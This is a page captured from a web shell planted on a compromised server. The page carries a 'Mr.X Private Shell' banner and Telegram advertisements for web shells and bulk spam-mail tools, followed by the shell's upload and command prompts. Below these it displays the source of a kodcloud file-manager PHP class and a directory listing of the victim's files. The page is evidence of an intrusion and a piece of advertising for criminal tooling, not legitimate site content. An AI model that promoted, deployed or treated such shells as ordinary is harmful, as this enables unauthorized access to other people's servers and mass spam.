__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/*
* @link http://kodcloud.com/
* @author warlee | e-mail:[email protected]
* @copyright warlee 2014.(Shanghai)Co.,Ltd
* @license http://kodcloud.com/tools/license/license.txt
*/

class systemRole extends Controller{
	public static $staticSql = null;
	private $sql;
	function __construct(){
		parent::__construct();
		$this->sql= self::loadData();
	}

	//保证只加载一次文件
	public static function loadData(){
		if(is_null(self::$staticSql)){
			self::$staticSql = systemRoleData();
		}
		return self::$staticSql;
	}
	public static function getInfo($theId){
		$sql = self::loadData();
		return $sql->get($theId);
	}
	

	//获取所有权限组
	//用户组权限
	public function get() {
		if(isset($this->in['group_role'])){
			$this->in['action'] == 'get';
			$this->roleGroupAction();
		}
		show_json($this->sql->get());
	}
	/**
	 * 权限添加
	 */
	public function add(){
		$role = $this->_initData();
		$roleId = $role['roleID'] = $this->sql->getMaxId().'';
		$this->_checkExist( $this->sql->get(),array('name',$role['name']),$roleId );
		if ($this->sql->set($role['roleID'],$role)) {
			show_json(LNG('success'),true,$role['roleID']);
		}
		show_json(LNG('error'),false);
	}

	/**
	 * 编辑
	 */
	public function edit(){
		$role = $this->_initData();
		$roleId = $this->in['roleID'];
		$this->_checkExist( $this->sql->get(),array('name',$role['name']),$roleId );
		if ($this->sql->set($roleId,$role)){
			show_json(LNG('success'),true,$roleId);
		}
		show_json(LNG('error'),false);
	}

	/**
	 * 删除
	 */
	public function del() {
		if (!isset($this->in['roleID'])) show_json(LNG('data_not_full'),false);
		if (strlen($this->in['roleID']) <= 1) show_json(LNG('default_user_can_not_do'),false);
		systemMember::roleRemoveUserUpdate($this->in['roleID']);//用户所在权限组变更
		if($this->sql->remove($this->in['roleID'])){
			show_json(LNG('success'));
		}
		show_json(LNG('error'),false);
	}
	
	/**
	 * 用户组权限列表配置
	 * 增删改查
	 */
	public function roleGroupAction(){
		$sql = new FileCache(USER_SYSTEM.'system_role_group.php');
		switch ($this->in['action']) {
			case 'get':
				$roleGroup = $sql->get();
				if($roleGroup['1']['name'] == 'read'){
					$roleGroup['1']['name'] = LNG('system_role_read');
				}
				if($roleGroup['2']['name'] == 'write'){
					$roleGroup['2']['name'] = LNG('system_role_write');
				}
				show_json($roleGroup,true,$this->config['pathRoleDefine']);
				break;
			case 'add':
				$roleId = $sql->getMaxId().'';
				$roleArr = json_decode($this->in['role_arr'],true);
				if(!is_array($roleArr)) show_json(LNG('error'),false);
				if(!trim($roleArr['name'])) show_json(LNG("data_not_full"),false);
				$this->_checkExist( $sql->get(),array('name',$roleArr['name']),$roleId);
				if ($sql->set($roleId,$roleArr)) {
					show_json(array($roleId),true,$sql->get());
				}
				show_json(LNG('error'),false);
				break;
			case 'set':
				$roleId = $this->in['roleID'];
				$roleArr = json_decode($this->in['role_arr'],true);
				if(!is_array($roleArr)) show_json(LNG('error'),false);
				if(!trim($roleArr['name'])) show_json(LNG("data_not_full"),false);
				$this->_checkExist( $sql->get(),array('name',$roleArr['name']),$roleId);
				if ($sql->set($roleId,$roleArr)){
					show_json(LNG('success'),true,$sql->get());
				}
				show_json(LNG('error'),false);
				break;
			case 'del':
				$roleId = $this->in['roleID'];
				if(in_array($roleId,array("1","2"))){
					show_json(LNG('default_user_can_not_do'),false);
				}
				if($sql->remove($this->in['roleID'])){
					show_json(LNG('success'),true,$sql->get());
				}
				show_json(LNG('error'),false);
				break;
			default:break;
		}
	}

	//检测是否存在
	private function _checkExist($data,$find,$checkID){
		$findData = array();
		foreach ($data as $key => $val) {
			if ($val[$find[0]] == $find[1]) {
				$findData[$key] = $data[$key];
			}
		}
		if(is_array($findData) && count($findData)>0  ){
			$key = array_keys($findData);$key=$key[0];
			if($key != $checkID) show_json(LNG("error_repeat"),false);
		}
	}


	//===========内部调用============
	/**
	 * 初始化数据 get   
	 * 只传键即可  &extNotAllow='php,jsp'&explorer.mkfile=1&explorer.pathRname=1
	 */
	private function _initData(){
		if (strlen($this->in['name'])<1) show_json(LNG('groupname_can_not_null'),false);
		$roleArr = array(
			'name'			=> rawurldecode($this->in['name']),
			'extNotAllow'	=> $this->in['extNotAllow']
		);
		foreach ($this->config['roleSetting'] as $key => $actions) {
			foreach ($actions as $action) {
				$keyUrl  = $key.'_'.$action;//url explorer.mkdir => explorer_mkdir;
				$keyAuth = $key.'.'.$action;
				if (isset($this->in[$keyUrl])){
					$roleArr[$keyAuth] = 1;
				}else{
					$roleArr[$keyAuth] = 0;
				}
			}
		}
		return $roleArr;
	}
}

Filemanager

Name Type Size Permission Actions
api.class.php File 1.35 KB 0775
app.class.php File 3.3 KB 0775
desktop.class.php File 926 B 0775
editor.class.php File 4.57 KB 0775
explorer.class.php File 45.71 KB 0775
fav.class.php File 1.77 KB 0775
pluginApp.class.php File 6.01 KB 0775
setting.class.php File 3.76 KB 0775
share.class.php File 20.3 KB 0775
systemGroup.class.php File 8.58 KB 0775
systemMember.class.php File 16.05 KB 0775
systemRole.class.php File 4.85 KB 0775
user.class.php File 21.61 KB 0775
userShare.class.php File 3.17 KB 0775
utils.php File 17.56 KB 0775
Filemanager